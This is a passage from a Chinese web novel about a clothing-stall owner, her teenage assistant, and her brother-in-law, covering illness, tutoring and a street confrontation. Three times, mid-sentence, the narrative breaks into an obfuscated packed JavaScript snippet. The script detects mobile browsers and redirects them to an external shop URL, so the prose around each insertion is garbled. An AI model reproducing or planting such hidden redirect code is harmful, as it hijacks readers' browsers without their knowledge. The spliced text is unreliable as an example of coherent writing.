陈梦蝶把狗拽出来,那小畜生对着她呲呲牙,不知好歹。 陈梦蝶已经穷得不能再穷了,但还是半夜奔到兽医站,兽医早下班了,不过还好他就住在店里,陈梦蝶疯狂敲门,刚睡醒的兽医把她大骂一顿。 陈梦蝶也不知道那狗能不能活,她后半夜了才睡上觉。早上一醒前两天打的耳骨就有些流脓,连带着整个人都有点微烧,头晕,就忘了用头发把耳朵遮住,让乔月见着了。 “没有什么没有!那你耳朵上戴着的怎么跟店里卖的一样?等等。一二三四五……你耳朵上打了多少个洞!好啊你陈梦蝶,嘴上说得老实你……” “从我下个月工资里扣。” 陈梦蝶头晕,脑袋里嗡嗡嗡的,抬眼睛见乔月红艳的嘴巴在一张一合地喋喋不休,但声音却晚了几秒钟才模模糊糊传到耳朵里,等大脑再分析这个声音,更迟钝了。 陈梦蝶没觉得自己生病,她觉得自己宕机了。 “你还有个屁的工资可扣!” 乔月真生气了,气得在地上直转圈,她就知道这孩子绝对是个麻烦,下个月,下个月一定要让她滚蛋,爱去哪去哪,爱干什么干什么,和她有什么关系! 这时候来了两个看衣服的小姑娘,陈梦蝶还趴在那儿,没有一点要起身招待的意味,乔月更来气了! 小姑娘看着文文静静,一张嘴就杀到进价去,乔月头晕脑涨地跟她几个来回,才保住了这件衣服微薄的利润。 哎,乔月觉得自己这个老板真是惨。 她走到陈梦蝶身边,想把她拎起来,结果发现她一动不动。 完了!她不会她不会…… 乔月手开始抖,小心翼翼把手指头伸到陈梦蝶鼻子前。 还好还好…… 她睡得很沉,乔月这才发现她耳骨上有一连串的耳钉。说实话她打的这个不贵,是店里最便宜的铁的耳钉,十几块钱长长的一大条,均价下来价格便宜得跟钉子差不多了,贵的是银的,陈梦蝶没用。 所以乔月骂她也不是多心疼钱,当然也有这个因素。主要是觉得不能让 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乔月把电风扇脑袋转了一下,不然直吹着陈梦蝶,她们这儿没空调,一到中午就跟进了蒸笼一样。 乔月忽然想到平时来打耳洞的小孩都说打耳骨最疼了,陈梦蝶打了那么多,不疼吗? 夏天的下午两三点时候好像有一种奇怪的魔力,虽然又热又闷又倦,但怪异的让人觉得舒适,像是一切变得晕眩恍惚,一切都在梦里,暖洋洋的。 这是一场梦,生活再痛苦都是一场梦,梦醒了就好了。 陈梦蝶模模糊糊间听见有人在唱,好一朵美丽的茉莉花。 她睁开眼,从桌子上爬起来,乔月正对着电风扇吹头发,乔月怕热,现在太热了,热得受不了她就去洗个头发。 浓密的,卷曲的黑发被风扇吹得半干不干,乔月一仰头,就全甩到脑后了。她穿着一件深蓝色的背心,下面是修身的牛仔短裤,脚下趿拉着一双贴着假钻的黑色夹脚拖鞋,地下商场逛一圈,十个有八个女老板都是类似穿搭。 乔月很讨厌那种钢圈的内衣,以及为了挺括又厚又硬的料子,跟孙猴子戴紧箍咒一样,不过她这是给奶上了咒。地下商场又没空调,又闷又热,站一天像扣了俩猪食槽子,又厚又沉,都能拧出水来,难受得要死。 所以她里面就穿了个半截吊带,一有大动作时候,浑身的肉都颤。 陈梦蝶抬起的眼睛马上又闭上,趴到桌子上。 “睡醒了?盘子里有一块西瓜,给你留的,刚从冰柜里拿出来,快去吃。” 冰柜是蹭库房的。 乔月说完又对着镜子把头发梳得高高的,扎一个丸子头。很多人为了显得头发多,还会倒梳,头发就乱糟糟一团,乔月每回都梳得很顺,只不过她头发多,皮筋得用粗的。 然后拿起角落里那挺高一瓶的黄瓜水,还是丝瓜水或是莴瓜水,总之很便宜的爽肤水,倒好多在手心,噼里啪啦地往脸上拍。 陈梦蝶不用抬眼睛,光听响儿也知道乔月每一步在做什么。 “阿嚏——” 陈梦蝶打了一个大大的喷嚏。 11.第11章 “乔阿姨,这是……这是我给您带的奶茶。” 进屋来的小姑娘声音很低,有些颤颤巍巍的把手里着奶茶递给在院子里扇着蒲扇乘凉的乔月,这都是奶茶粉冲的,一块钱一杯。乔月正边扇扇子边嗑瓜子,速度特别快,“咔”“呸”,一咬一吐一个瓜子瓤就进嘴里了,脚边已经堆了不少的瓜子壳。 乔月拿脚搓搓,堆到一起,这样待会儿好扫。 她穿着短裤,大腿很瓷实,天暗了,就见着肉跟着动作晃,空气中很浓郁的花露水味,乔月拖地时候爱倒上点儿,驱蚊子。 女学生不知道为什么,忽然就有点不好意思看乔月,当然也可能因为怕,她挺怕乔月的,第一次见面乔月就不给她好脸,她叫乔月师娘,乔月拿眼睛斜她,说她们又不是练什么绝世神功的,还师傅师娘。 她知道乔月不喜欢她,但是……她还是要来。 “有心了啊,坐那吧,张老师大忙人啊,还没下班呢,你就来了。” 乔月还是不待见她,但后来听张宇说她病严重了,她有先天性心脏病,动过两回手术了,就也不敢说什么了,顶多白了两眼。 再说,张宇就爱吃这个亏,要不是他上赶着愿意,人家也来不了。 这女学生已经休学大半年了,但还想参加今年高考,所以每周她父母去学校拿卷子,其他科目可以对着答案改还好,数学就不行了。所以张宇让她攒着错题,自己把同类型的归好类,隔俩星期来找他一回,他给她讲。 乔月觉得俩人都有病,一个不知道什么时候没准儿嘎巴一下就死了的人还要参加高考,一个一天没准上五六节课还要看个早自习的下了班还免费给学生补课,真是有病。 但张宇就是那样,偶尔有学生找到家里来,乔月从不给他们好脸色,她每天上班已经伺候够人了好吗! 张宇也明白,他就跟学生约好了去大门口说话。不过也有懂事的,拖家带口地去乔月那买衣服,乔月就高兴,但给乔月塞购物卡她可不敢要,这是受贿,放以前要枪毙的。不过她看别的老师假期开补习班还是很眼红的,一假期就能赚一年的工资了,而且她们家这么大,每个屋都能装十多个学生,院子也能坐呀,院子排排坐满了,实在不行坐到大门口张宇拿个大喇叭……那得多少钱呀! 张宇那个死脑筋就是不肯! 一吵架他就再多加几十块工资上交,后来都要扣没了,他同事去乔月那买衣服,委婉地表示,买水的钱还是要给张老师留的,在学生面前付不出钱,是有点丢人。 乔月更是一肚子气了,谁愿意要他那点窝囊费,说实话,有时候她一月卖衣服钱就顶他好几个月工资! 哎反正日子就是这样过。 要说真气成什么样,也没有,乔月这个人性格就是记不住不高兴的事儿。 “你多吃点,多吃点儿是不是就好啦,看你瘦的。” 乔月有点嫌弃那女学生,她太瘦了,人也拘谨,好像站在那就很不好意思对不起所有人一样。 “嗯,我有在努力吃,就是吸收不好。” “光吃不胖呗,那是好事。” 乔月还在嗑瓜子,她在铁盘里抓了一把,手一胡鲁,个大的就全在她手心了。 乔月觉得自己也不是啥时候都聪明,这话说得就挺没脑子的,人家病得都要死了,自己还说这话。 她又抬眼看了眼那女学生面相,脸窄窄的,五官都很秀气,嘴唇很薄,唇色深,还有点发紫,真是瘦,脸上一点肉都挂不住,老人说这种面相福薄。 乔月院子里种的花开得正好,红红紫紫很大一片,她种的是最好养活的那种,农村随便扔一把就能长一片,乔月来县城时候拿的东西不多,那包花籽儿算一个。 也没香味,要不是颜色艳丽,很容易被人忽视。 陆永安今天是偷跑出来的,没戴眼镜,看不大清那些花,只见得红粉一片,她也不敢问乔月那是什么。 “你吃饭了没,喝绿豆汤不,我给你盛一碗。” “啊?我、我……” 陆永安有点愣住了,她没想到乔月会主动问自己。 真是张宇啥样教出来的学生也啥样,乔月懒得理她那副呆愣相,直接去屋里端出来一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517748|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 天热,乔月晾在堂屋等粥凉,她晾了好几碗,因为她一个人最起码就得喝两碗,绿豆粥最好喝了。 乔月也没给人反驳的机会,去堂屋端出来一碗就塞陆永安手里,陆永安呆愣地接住,乔月拿自己拿碗开始咕噜噜地喝,她下班时候带回来一份凉皮,但没等粥凉呢,就吃进肚子了,所以也没做菜。 陆永安憋得脸都红了,因为那粥很烫,对她来说很烫,指尖都烫得泛红,可是她又没有地方能放,只能很别扭的几根手指头倒换着来回挨烫。 “哎你这小孩真是,长嘴巴干嘛的啊。” 乔月接过她手里那碗绿豆粥,啪一下放窗台上了。 “谢谢。” 陆永安细声细语地道谢,声音比蚊子大不了多少。 丁零零—— 张宇回来了,他下自行车,笑容满面地给乔月递过来一包瓜子。 “这是巧克力味的瓜子,多稀奇,你快尝尝。” 有同事出差,他求人家给带包瓜子。 乔月白了他一眼,他也知道自己没理,下班有点时间天天搭学生身上了。 因为是异性学生,张宇比较注意,每回都是在院子里支起一张小桌子讲题,桌子上放着一盏小台灯,很多小飞蛾蚊虫围着灯嗡嗡嗡地飞,不过两个人似乎都没被影响。 还是乔月,点了蚊香放在两人脚边。 乔月又给自己的向日葵浇水呢,有人匆匆忙忙跑过来。 “张老师,张老师你弟弟生病吐了晕倒了,好像挺严重的……” 有老师急匆匆跑过来,张宇家没有电话,出了事儿是学校联系的住得不远的老师过来报信的。 乔月看了看院子里那两人,把浇水壶放地上。 “你们继续讲题吧,我去接他。” 那小孩好不容易来一趟,攒那么多题。乔月听不懂,但瞥一眼就见卷子上红红绿绿好大一片。 当然还有一个原因是,上回她见张黎健康得很。 普通感冒吃点药睡一觉就好啦。 反正不能去医院,住院很贵的呢。 12.第12章 “哎呀,谢谢您老师,还给送到大门口来。” 乔月骑着自行车一阵风一样,刺溜直刹到人眼前去了,把戴着眼镜的老师吓得差点后退一步。 这大人看着真没个正形。 “你是……” 女老师推了下眼镜,她有些年纪了,黑发里掺杂着不少银丝,眼皮向下耷拉着,嘴角绷得紧紧的,不过也可能因为牙齿多,要用力才能包住,总之有点不苟言笑。 乔月挺拘谨的,因为她小学班主任就长这样,她听写写不出来没少被打手心,那小棍看着不起眼,打人可疼。 “我是张黎他嫂子,我来接他。” 哦,这个是张宇老师的老婆,结婚时候她还写了一百块的礼,之前她跟张老师搭过班,是个非常负责的好老师,而且他的学历是整个学校老师里最高的了。 老师又推了下眼镜。 “平时要多关注孩子,不论是身体还是心理,尤其是高一这个关键节点……” 乔月觉得自己好像给张黎当妈了,但她又不好反驳说啥,也不敢,她也不是什么都不怕,不管眼前老师说什么都不住地点头。 早知道她不来凑这个热闹了。 等那老师进了学校大门没影了,乔月扭头问张黎。 “你们老师以前是不是在放牛沟教过书?” “什么?” 张黎脸色很不好,他刚呕吐过,眼前还有些眩晕,脚底发软,没听清乔月说的什么沟。 “没事。” 乔月觉得肯定是自己认错了,其实全天下的老师长得都挺像的。 她收回眼睛看张黎,暗自撇了撇嘴。 可真是个小可怜。 病恹恹的。 “你衣服这怎么回事?” 乔月眼睛特尖,瞧见张黎后背有一块脏,不过也可能因为张黎平日校服洗得太干净了,所以一点灰尘都很明显。 张黎没说话,只是顺着乔月指的方向拍了拍,但因为在后面,并没拍到。 乔月顺手扯了两下,她力气有点大,张黎现在又虚弱,让她扯一踉跄。 “对不起啊。” 乔月把手伸回来,真情深感道歉,觉得自己有点太不小心,这孩子都这么可怜了。 不过她还是觉得张黎校服后面那块脏很奇怪,他是个特别爱干净的人,放假就算下雨也要洗衣服,屋里放个洗脸盆接着滴下来的水。 乔月没见面时候很不待见这个小叔子,主要是因为怕自己得照顾他,洗衣做饭什么的,凭啥平白无故照顾一个人,她又不是大善人。 但没想到这么省事,都这么省事,张宇一天都在学校吃,张黎也是,放假时候也不见人影,偶尔碰见了,自己在厨房煮面条,吃完把锅刷得干干净净。 乔月有时候觉得他刷得太干净了,肯定放很多洗洁精,敢情洗洁精不是他买的,有回她说出来,张黎第二周买了瓶新洗洁精回来。 乔月觉得这哥俩挺奇怪的,好像交流也不多,张黎一个学生,也不知道在忙什么。乔月就没见过他看书学习,像今天来家里那小姑娘一样学习,不过听说他成绩还不错。 再加上他长得实在好看,就算什么都不干,站在窗台底下发呆,都跟拍电影一样,乔月对于美丽的事物还是会稍微多点耐心的。 乔月觉得那黑印子有点奇怪,好像是脚印,她想再凑近看看,张黎把校服脱下来,放到书包里了。 这是乔月第一回见到他脱校服外套,平时他总捂得严严实实的,不管天多热。 他身材比例特别好,胳膊长手长,皮肤更是白,乔月眯着眼睛看,他胳膊上一根汗毛都没瞧见,路灯一照,可以说得上那什么,莹白如玉。 大手三两下把校服塞书包里去了。 乔月才发现他的书包好旧好破,反正去她店里买衣服的学生,她没见谁背这么破的书包。几个泛白的英文字母被蹭得掉皮看不清,书包拉链也坏了,他缝了几个纽扣代替,针线活也不好,书包看起来很沉,往下拽着,透过那几个纽扣空隙都能看见里面装的什么书。 其实张黎的生活很贫穷窘迫,但可能因为他的长相,表现出来的气质,让人不自觉忽视了他的窘迫,但稍稍仔细一点就会察觉到,比如这个不知道用了多少年的书包,一年四季焊在身上的校服,还有洗得发白的运动鞋,鞋面上都刷出毛边来了。 不过张宇也没好到哪去,他内裤一扯一个洞,松松垮垮的,洗得都要发酥了。 怎么有人能把日子过成这样子。 乔月忽然有点内疚,自己是不是有点儿太不仁义。 “要不你打车回去?” 乔月假惺惺建议,因为张黎的自行车她在骑,他一周有六天都在学校,她这也算合理利用,都是一家人。 张黎没说什么,只是盯着自己脚下那一小片阴影,他还有点晕,脱了外套晚风吹过来,头脑才清醒了些。 “不用。” 从这到张宇家二十分钟走到了。 “那……” 乔月不想让他骑自行车,自己走回去,要二十分钟呢。 “也是,你刚吐完,坐车再晕车,还是走着透透气比较好,自行车也不能骑,万一不小心摔沟里就完蛋了。” 乔月给人分析得头头是道。 张黎没应和她,也没反驳,只是走自己的路。 乔月本来是支着一条腿,边骑边跟张黎说话的,踩一脚,车子就往前走,忽然觉得自己有点不照顾病号了,就下车推着走。 “你哪里不舒服,要不咱们去医院看看?就是这么晚了,夜班医生也看不出来什么。” “感冒,没事,回去睡一觉就好了。” 张黎吐完眼前发黑没站住,今天晚上又是班主任的自习,马上就给同事打电话找张宇了,他没来得及阻止,也没必要来接他。 乔月对张黎的回答很满意,年纪这么轻,一看就是感冒,如果她们这把年纪了身体不舒服才需要重视呢。 “回去喝点热水,喝袋感冒冲剂,早点睡,明早就好了。” 上回陈梦蝶生病她去药店买的感冒冲剂,免费的,没收那丫头钱,所以等陈梦蝶好了乔月就把剩下的冲剂带回家了,这不,派上用场了。 “我回去给你找,我特意备的呢,最近感冒的人多,我们商场好些擤鼻涕的,哎,夏天感冒最受罪了……” 乔月自顾自地说,她话特别多。 “我今晚还煮了绿豆粥,吃药前你先喝一碗垫垫。” 哎,乔月觉得自己真是太善良。 张黎没说话,只是低着头走路,乔月看出来他难受,步伐都比平时慢了,他腿长,要不走路可快了。 “你上来,我载你回去吧。” 张黎摇头。 “哎哟,回去是下坡,再说你这么瘦,半扇猪肉我都背得动,快点,咱俩早点回去。” 乔月拍了拍后车座,这是辆很老的自行车了,除了车铃不响其他地方全都叮叮当当响,不过就是看着不美观,其实还挺好骑的,车轱辘大,蹬一下跑好远。 张黎还是摇头。 乔月算是发现了,这哥俩都特别轴,张宇是温和的轴,张黎是冷淡的轴,反正就是不听人话。 “你快点的,这大晚上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522329|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,街上又没人,咋,你还怕影响你校草的形象啊?” 乔月就是什么都知道。很多在她那买衣服小姑娘,有时候会提到县一中的张黎,还会说谁谁谁又去堵他啦,有的也没什么恶意,就是纯粹好奇他长什么样子。还有几张他的照片,可能是运动会时候别人偷拍的,照片很糊,但传得到处都是,不过也可能是因为传得到处都是才变糊的。 乔月上周才申请了自己的QQ号,叫♀絕世佳人♀,陈梦蝶说现在学生都玩这个,她可以把新上的衣服发到空间里,喜欢的人看见了就能来买。 乔月觉得这真是好主意,所以她就把自己QQ号码给了很多来买衣服的小孩,说会经常搞活动,加好友有优惠。然后等有空了陈梦蝶就带乔月去网吧给衣服拍照。乔月以前没碰过电脑,这下觉得哪哪都新奇,连带着对陈梦蝶都尊重了不少。 她在张黎他们学校贴吧搜他的名字,很多帖子,也有不少偷拍照片。还有骂张宇的,说最讨厌这个老师,言语十分挑衅不礼貌。乔月撸起袖子就跟人骂起来了,她打字特别慢,要手指头一个字母一个字母地点,骂不过干着急,就去旁边拉陈梦蝶,让她替自己骂,陈梦蝶常年混迹这些论坛,她噼里啪啦打字特别快,脑子没跟上手就跟上了,乔月嘴巴真不饶人。然后她就被禁言了。 乔月咬着牙站起来蹬,因为上一个小坡。 张黎可比半扇猪肉沉多了。 乔月觉得他肉肯定很瓷实,要比看着重不少,要不她也不会这样费劲,脑门上汗都出来了,不过主要原因还是他非斜着坐,自行车就往一边偏偏,她得时刻往另一边正车把。要是他骑着坐,两边平衡,那不就好骑多了吗。 吱嘎—— 乔月累够呛,停下自行车。 “老板你这雪糕不便宜呀。” 乔月在冰柜前挑挑拣拣,这个报摊地理位置好,离税务局近,旁边还有个房地产开发公司,进得贵的雪糕就多,好些乔月没见过的。 乔月累一身汗,最后给自己选了大头娃娃的雪糕,这个要一块钱,但是有奶油又有巧克力,一看就好吃。 乔月给张黎扯下来一根阿尔卑斯的棒棒糖。 “葡萄味的,葡萄味的最好吃了。” 实际是乔月今天下班路过个卖水果的摊位,深黑色的大葡萄看着真诱人,她就喜欢那种皮厚酸甜的,但没舍得买,有点贵。 “这里卖的葡萄太贵了,等我啥时候回家,把我院里的葡萄秧刨了带这儿来,可好养活,蹿得特别快,搭个棚子,明年夏天就能乘凉了,那葡萄才叫好吃呢。” 夏天的夜晚好像不会黑,是一种很深的蓝色,幽蓝。天热,报刊亭的大姨扇着蒲扇听收音机,不大搭理乔月,头顶那盏小灯周边聚了很多飞虫,有个翅膀很大的蛾子扑棱着朝乔月飞过去,乔月一巴掌把它扇走。 “哎,你肚子里没东西,不能吃雪糕,下回我再请你。” 乔月对张黎说,张黎含着葡萄味的糖在推着自行车。 天好热,乔月手里的雪糕化得很快,她这人有点矛盾,开始时是觉得雪糕真好吃舍不得一口气吃完一点点舔,后来又因为化得太快,汁水顺着木棍流下来,怕浪费,她只能张大嘴全放嘴里吸。 路边的大树上开着一种很漂亮的白色小花,看着漂亮,但气味不那么友好。到了落花季节,随便一点风吹草动就簌簌地往下落,落得乔月满脑袋都是,乔月伸手护着自己的雪糕,更快地往下咽。 “呵——” “你笑什么笑?有什么好笑的?” 乔月没好气瞪了张黎一眼。 自己辛辛苦苦来接他。 13.第13章 “一天天的,就会指使我干活儿,自己在店里吹风扇吃冰棍儿。” 陈梦蝶单手掌车把擦了把汗,她头发要长不长,要短不短的,正好卡在脖子,一出汗全黏脖子上了,难受得要死。再加上她一半脑袋编的脏辫,因为本人比较吝啬,舍不得拆开,毕竟理发店编一次好些钱的,每回洗头都只是用手指肚蹭一蹭,所以小一个月没痛痛快快洗头了,感觉整个脑袋又馊又痒。 天热,大街上只有行色匆匆几个人,油柏路上有一层烤热的空气在翻腾,陈梦蝶真是浑身不得劲。 后车座别着一大包货物,竖着绑的,好赶上她人高了,她佝偻着腰,努力往前蹬,蹬一脚就在心里骂一句乔扒皮。 乔月自从有了QQ号,进货都方便多了,熟悉的来往久的线上选货寄过来就行,不过她这样的小气鬼自然选择平邮,就是普通包裹,得自己去取,所以就让陈梦蝶去邮局取。 陈梦蝶也是,寻思店里到邮局不远,骑自行车来回用不了一个小时,哪知道这批货这么重,光绑到自行车上她就花了得有半小时,还绑得歪歪扭扭,不难想象,回去了乔月一定会阴阳怪气她跑哪儿去偷闲了。 她就是舍不得来回两块钱的公交费,结果。 “老板,拿瓶七喜。” 咕噜咕噜几口,带着气的冰凉的饮料沿着喉咙一路向下。 太爽了。 陈梦蝶觉得自己这才活过来。 小卖铺也有电话,陈梦蝶犹豫了一下要不要给乔月打电话,毕竟她也是这样,在外面遇到一点难事一定要找她来帮忙,自己怎么就不能反着来呢,但是…… 她想到出门时候乔月扬着眉毛咧着大嘴巴边笑边跟她说。 我劝你还是坐公交去,别到时候自行车骑过去了骑不回来,那么——一大包的衣服呢,你这瘦弱的小身板。 她边说边用手比划着,把手上的十字绣放到桌子上,最近她又跟别的档口老板学绣十字绣,那是心思细的人才能做下来的,乔月就是一大马哈,一半的时间都在拆线,有时候说自己年纪大眼神不好,还强迫陈梦蝶替她绣。 陈梦蝶本来还没那么确认要骑自行车去呢,但乔月这样说,不知怎的,她脑袋一热就倔着一定要骑自行车去拉货了。 乔月是说了要给她报销坐公交车的钱了,都打开钱包了,但陈梦蝶头也不回走了。 因为上回她感冒乔月给她买一回药,结果天天说天天说,天天在她耳边磨叨,所以她才不要乔月手里抠出来的钱了,她就骑车去,笑话,多重的东西她没拎过。 结果这真是重的超标了,陈梦蝶的手在公共电话上摸了一下,又缩回。 算了,都走完一半了,咬咬牙就拉回去了,现在打电话给乔月,指不定又得被笑话多长时间呢。 陈梦蝶吭哧吭哧正骑着呢,瞧见前面一群街溜子,陈梦蝶常年混网吧,所以有些人也混脸熟,赶紧低下头,她怕碰着熟人,现在太狼狈,但等骑过去,发现没认识的,都是生脸,应该不是那片儿的。 但这时候,她发现其中有个人穿着件好熟悉的校服,县一中的校服。 也不是熟悉,是耳朵熟悉,因为乔月隔三岔五就要炫耀一嘴她那重点班教学的老公,哦,还有那个天下无敌帅的小叔子,陈梦蝶虽然觉得乔月嘴巴碎很烦人,但她说的确实也是实话,她看过张黎照片,虽然很糊,但确实帅,跟电视上明星比一点不落俗。陈梦蝶有时候觉得她们俩可以组成一个组合出道,靠张黎的脸,她的才华,必能迷倒一大片观众,但除了脸以外也得有点乐感,不知道那小子唱歌跑不跑调了。 总之陈梦蝶一看到县一中的校服就想到乔月,所以她就回头多看了一眼。 靠!那不就张黎吗! 他穿着校服,个子又高,在一群歪瓜裂枣里太显眼了。 陈梦蝶虽然也总把头发染得五颜六色,发型搞得张狂,耳朵上一排洞,脖子上一圈链,但她是看不上那些人的,他们的另类跟她的另类不一样,他们是丑的另类,甚至拉低了她们这个圈的美誉。 头发炸炸哄哄像玉米毛子一样,黑色网眼衫罩着小肚腩,真是丑,就是这些丑的人多了,才显得她们低级。 然后她就看见一个人推了张黎一下。 那人个子不算高,跟张黎比不高,但跟别人比也不矮,头发倒没有奇形怪状,穿戴也比较规整,应该也是在读书的。 大概就是这个人跟张黎的矛盾,张黎转身要走,其他人把他挡住。 这个人找的人。 这是要打架了?这伙人看起来可没一个向着张黎啊,所以是群殴。 陈梦蝶心里有点发紧,不过如果今天她遇着的不是张黎估计也是这种心理,因为大桥底下前两天两拨人打架,才把一个人打瘫痪,听说是背后给了一斧头,力道不重,但是劲儿巧,砸到脊柱上,人就瘫了,还是高位截瘫。 砸人的那个还不满十五岁,爹妈不管,书也没念,靠个年迈的奶奶扫大街养着。被砸的那个也没满十八,但还在读书,是跳墙逃课跑出来看热闹的,跟哪边人都不熟,就是纯看热闹。砸人的那个一分钱赔不出来,所以这家父母正在跟学校跟老师打官司,也不知道最后啥样。 这个年龄的孩子,都有着十分恶劣的兽性。 那些人拉扯着张黎往胡同里拐,陈梦蝶这时候可不敢出头,万一连着她一块揍呢,她就只敢远远跟着,眼瞧着他们往烂楼去了。那是一栋拆迁到一半的小医院,大楼里砸得空荡荡,楼梯扶手都砸了,露出很多张牙舞爪的钢筋,不知为什么又跟开发商没谈拢,拆迁就暂停了。 慢慢地,那里就成了很多街溜子的聚集地,打群架,玩车,抽烟,反正去的就没正经人。以前还有保安看着,后来就没了,因为他们连保安都揍。 陈梦蝶远远看着,手心都是汗。 她想赶紧跑去店里,告诉乔月她小叔子马上要挨揍了。 但自行车后座还驮着好大一袋子货。 如果她人直接跑了,那货咋办?丢了的话她得给乔月干一辈子了吧!要是连着自行车也一起丢了,那她得连着给乔月干八辈子! 陈梦蝶咬了咬牙,骑上自行车用力地蹬努力地蹬费力地蹬,把浑身的力气都调动起来。 上坡时候轧了一块石头,车轱辘一拐弯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523033|202807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点儿连货带人一起出溜到坡底下去。 真是倒霉!倒霉透顶! 陈梦蝶照着自己大腿掐了一下,索性下车推着自行车玩命地向前跑。 “你这人瞎了?不知道看车呀!” 俩人都闯红灯,对面闯红灯的人张嘴就骂陈梦蝶,要放平时陈梦蝶非得跟他掰扯掰扯,但今天实在没空,她嗓子眼儿马上就要冒出来火星子了。 “呦,王美丽,又穿新衣服啦。” 乔月店里一没人就爱往王美丽这里晃荡,因为王美丽电风扇后面绑着冰块,也不是冰块,就是冻得硬邦邦的矿泉水瓶,这样吹出来的风格外凉快。 乔月不动声色往风扇前面站了站。 “你这是眼睛尖耳朵灵,咱这儿谁也没你脑子好使了哈。” 王美丽对着桌子上切成块儿的西瓜努了努嘴。 “哎,这多不好意思。” 乔月嘴巴不好意思,手上倒没有,插了一块最大的放嘴里。 哎,不仅吹上凉风了,西瓜也吃上了,今天真是美。 “哼。” 王美丽鼻子眼里出口气,乔月她们店就是一老不要脸跟一小不要脸。 但也不是一点可取之处都没有,前两天她闺女生病,乔月帮忙看店,一上午帮忙卖出去五件衣服。 所以她虽然不咋看得上乔月她们,但也不算太讨厌。 就是烦,太烦了! 就比如现在,她站风扇前,把吹过来的风全挡上了! “嘿嘿,我就是想过来夸夸你的衣服,这什么料子的,怎么看着这么好看!有进货渠道没,我怎么从来没见过这样式的。” 乔月嘴里啧啧称赞,眼睛却在偷瞄,张美丽家刚新到一批货。 “你还想要进货渠道?有了你买得起吗?这可是牌子货,大城市有正经连锁门店的,你以为是什么地摊货呀!” 王美丽觉得乔月就是一土老帽。 她虽然进的也大部分都是地摊货,但县城就这消费水平,没办法,她自认为比别人是要高级的。 乔月也自认为比别人是要高级的。 所以两个人一个嘴上不饶人但总被占便宜,一个看着怂怂呆呆的但便宜一点没少占。就也能玩一块去,偶尔谁真遇着事了,还能搭把手。 “月姐!月姐!月姐出大事了!” 乔月还打算再恭维几句把桌子上的西瓜全吃完呢,陈梦蝶风风火火跑过来,她跑得特别快,旁边的人不自觉把中间路让出来。 今天陈梦蝶穿一条棕色的裤子,浅黄色的上衣,头发是不知染的什么颜色掉色了,发浅,一跑起来脑门上的头发全竖起来。 她本来就瘦,五官窄,脸上没一点头发时候就特像猴子。 乔月憋着想笑,然后想到她去这么久,没好气说。 “又躲哪儿偷懒了吧。” 准是偷懒忘了时间,然后想了什么法子想把她糊弄过去,陈梦蝶就是看着老实,实则一点也不老实。 “你小叔子,你小叔子让人给堵了,马上要挨揍了!” 陈梦蝶上气不接下气的,翻着白眼对乔月说。 14.第14章 “你当时为什么不拦着?现在我们过去他没准儿被锤成烂泥了!” 乔月一边回头骂陈梦蝶一边拧车把。 事出有因,她俩骑的王美丽的电动车,不知道是电动车问题还是乔月骑车问题,她速度控制不好,一会儿嗖飞出去,一会儿慢慢吞吞地爬不上坡。坐在后面的陈梦蝶不小心就哐叽撞到乔月后背了。 前面乔月说了陈梦蝶很瘦,尖嘴猴腮的,骨头硬,所以撞人疼,一碰上乔月乔月就扭头骂她。 “我一个人咋拦着?连我一块揍咋办?你小叔子那么高,禁打,我这么瘦,几脚下来不就得骨折了!我骨折了你肯定就把我开了,那我去喝西北风啊!” 乔月电动车开得稀烂,还不能碰上她,陈梦蝶抓着后面的把手,努力保持平衡,一肚子气。 “我是那样人?” 乔月又回头对着陈梦蝶嚷。 “哎哟!月姐你好好骑车行不行看前面路——” 这电动车就是有问题,好像哪儿接触不良,拧一下车把要不好快,要不好慢,总之不正常。乔月心里有点打鼓,不会是她骑坏的吧,要是她骑坏的,那是不是还得去给王美丽修电动车啊。 “等等等等,你去警察局我得先下来,你别说我的事啊,我是偷跑出来的,万一要找我的监护人那我就完蛋了。” 乔月还以为陈梦蝶之前那些都是编瞎话骗她的,地下档口来来往往很多小姑娘,不少是辍学不读书的,很多嘴里就没几句真话。 乔月之前没有跟那个年纪小孩深度打交道的经验,当然她也不想有,于是她就发现了,张黎的部分同龄人确实跟她原先想的一样无赖。 等她领着张黎从警察局出来已经下午了,乔月这辈子都没这么窝囊过。 那帮小孩连警察都管不了,整天打架惹事,偷鸡摸狗,网吧鬼混,校门口收保护费,都没成年,再加上这回也没打起来,说是就推了张黎几下,就只能口头教育。 都是警察局常客,甚至有个人离开时候还笑嘻嘻跟警察说再见。 事情也很简单,就是校外有个人想认识张黎,认识帅哥嘛,很正常。但张黎一贯不爱社交,在学校也非常低调,于是那女孩就找人,找到了她一个干哥哥还是什么,反正是一中的学生,平日挺混的,让他帮忙把张黎约出来,但没约出来。 